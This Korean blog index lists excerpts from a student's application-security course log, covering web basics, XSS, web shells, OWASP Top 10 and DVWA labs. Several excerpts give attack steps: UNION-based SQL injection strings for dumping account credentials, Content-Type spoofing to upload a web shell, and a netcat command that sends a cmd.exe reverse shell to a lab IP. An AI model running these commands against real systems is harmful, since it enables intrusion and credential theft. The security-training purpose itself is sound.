본문 바로가기

Rookies 9기/애플리케이션 보안

(7)
애플리케이션 보안 7일차 DVWA 실습 • sql injection 모든 사용자의 ID와 PW를 알아내기 sql 로직을 사용해서 sql injection 공격이 실행이 되는걸 확인했다. 컬럼의 개수를 확인을 하기위해 union문을 사용하여 한 결과 1,2컬럼이 있다는걸 확인 했다. 알아낸 컬럼의 개수를 사용하여 DB명, 버전정보를 확인 했다. 알아낸 DB명인 dvwa에 있는 테이블명은 guestbook, users 테이블이 있다. dvwa 데이터베이스의 users테이블의 컬럼의 이름을 확인을 하였다. users 컬럼에서 user, password를 추출을 하였다. • File Upload ( high ) php 는 불가능해서 png로 확장자를 바꿨지만 업로드가 안된다..! ( 확장자만 보는것은 아니다) --> file Signa..
애플리케이션 보안 6일차 OWASP Top 10 •credential Stuffing ‣ 여러 군데 회원가입을 하다 보니, ID/PW가 동일하다 ‣ 약한 사이트를 해킹(WebShell, RAT 업로드, WebDAV 업로드, SQL 인젝션 등) 해서 고객 DB 확보 ‣ 다른 사이트에 넣어본다. ‣ 2021년 통계에 의하면 가장 심각한 해킹 유형 •대응 방법 ‣ 사이트마다 패스워드를 조금씩 다르게 해야한다 ‣ 정기적으로 비밀번호를 교체 ※ 특히, 포털사이트의 PW는 다른 것으로 사용( 금융권은 PW를 다른 것(강력한)으로 사용) •무결성(Integrity) 변조(내용을 바꾸는 것) ‣ 원문 : "12시에 만나요 브라보콘" ‣ 변조 : "2시에 만나요 브라보콘" ( 1자 한 개 삭제했는데, ㅠㅠ) cf) 계약서에 이상..
애플리케이션 보안 5일차 • A1 Injection ( SQL Injection GET/Search ) 모든 계정에 대한 ID 와 PW를 알아내려면?? 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점이다. - UNION 으로 SELECT문 연결 SELECT 학생 FROM 우리동네 UNION SELECT 회사원 FROM 우리동네; -> 학생과 회사원이 모두 출력됨 ※ 앞의 SELECT 문에서 요청한 컬럼의 개수와 뒤의 SLECT 문에서 요청한 컬럼의 개수가 일치해야 한다. 컬럼의 개수를 모르고 있기 때문에 union select 문을 사용하여 컬럼의 개수를 찾아준다. 'union select 1# 부터 'union select 1,2,3,4,..
애플리케이션 보안4일차 OSWAP TOP 10 - oswap의 TOP 10 취약점을 알아야 하는 이유 가장 최신의 웹 보안 트렌드를 알 수 가있다. 전세계 보안 전문간들을 대상으로 설문을 한다. 상위 10개의 취약점이 전체의 약 95%에 해당한다, • reverse Web Shell 실습 reverse connection 방식으로 연결, Win2003의 RAT(netcat)을 이용해서 연결, 웹 브라우저에서 실행 우분투에서 nc -l -p 8000 명령어를 사용해 서버를 연다. -ㅣ : 듣기? -p : 포트번호 지정 window2003에 설치되어있는 웹 브라우저에 들어가 cmd WebShell 주소로 이동을 한다. c:\wine.exe 192.168.5.128 8000 -e cmd.exe 명령어를 입력 후 실행을 한다. win..
애플리케이션 보안 3일차 Web Shell 관리자가 SSH, FTP를 이용하지 않고 웹 브라우저로 웹 서버를 관리하기 위한 도구 공격자들이 웹쉘을 웹 서버에 업로드해서 원격으로 조종이 가능하다. 대응 방법 1. 웹쉘을 업로드하지 못하게 해야 한다. 2. 업로드된 웹쉘은 동작하지 못하도록 해야 한다. (압축해서 보관, 읽기만 가능한 스토리지 보관) 3. 업로드한 웹쉘의 위치를 찾을 수 없도록 위치 경로를 알려주지 않거나 파일 이름을 바꾼다. 4. 웹쉘 대응 보안 솔루션을 배치한다. ex) 웹쉘의 Content-Type은 text/plain이지만, Proxy 도구(Burp Suite)를 이용해서 image/jpeg라고 속인다. => Clinet가 보내는 정보를 그대로 신뢰하는 경우, 실제 들어있는 파일은 다른 것(웹쉘) 임 • We..
애플리케이션 보안 2일차 • XSS(Cross Site Scripting) 웹 애플리케이션에서 가장 기초적인 취약점 공격 방법이다. 악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법을 말한다. 입력 값 검증이 되지 않아 공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며 쿠키나 세션 토큰 등의 민감한 정보를 탈취하거나 HTML 페이지의 내용도 조작/변경이 가능하다. DBD(Drive by Download) 공격은 악성코드를 자연스럽게 다운하도록 유도한다. 원리는 사용자가 취약점이 있는 웹 사이트에 들어가면 스크립트 코드 등을 이용하여 악성 코드가 있는 웹으로 이동시킨다. 이때 자기도 모르게 다운로드를 하게 된다. 악성코드가 실행되면 랜섬웨어 또는 트로이목마가 동작할 수도 있다. ※ 악성 행위가 없어서 ..
애플리케이션 보안 1일차 1. Web 기본과 실습 환경 • HTTP 프로토콜과 HTML의 특징 1. HTTP(Hyper Text Tansfer Protocol)이란 웹 상에서 클라이언트와 서버가 서로 대화하기 위한 통신규약이다. 2. HTTP는 HTML 문서와 같은 리소스들을 가져올 수 있도록 해주는 프로토콜이다. 3. 계속 서버와 클라이언트의 연결 상태를 유지하는 게 아니기 때문에 클라이언트와 서버 간의 최대 연결수보다 많은 요청과 응답 처리가 가능하다. 4. 연결을 끊어버리기 때문에 클라이언트의 이전상황을 알 수 없다. (Stateless 상태 => Stateless 특징 때문에 정보를 유지하기 위해서 Cookie가 등장을 하였다.) ※ Cookie : HTTP의 일종으로서 인터넷 사용자가 어떠한 웹 사이트를 방문할 경우 사..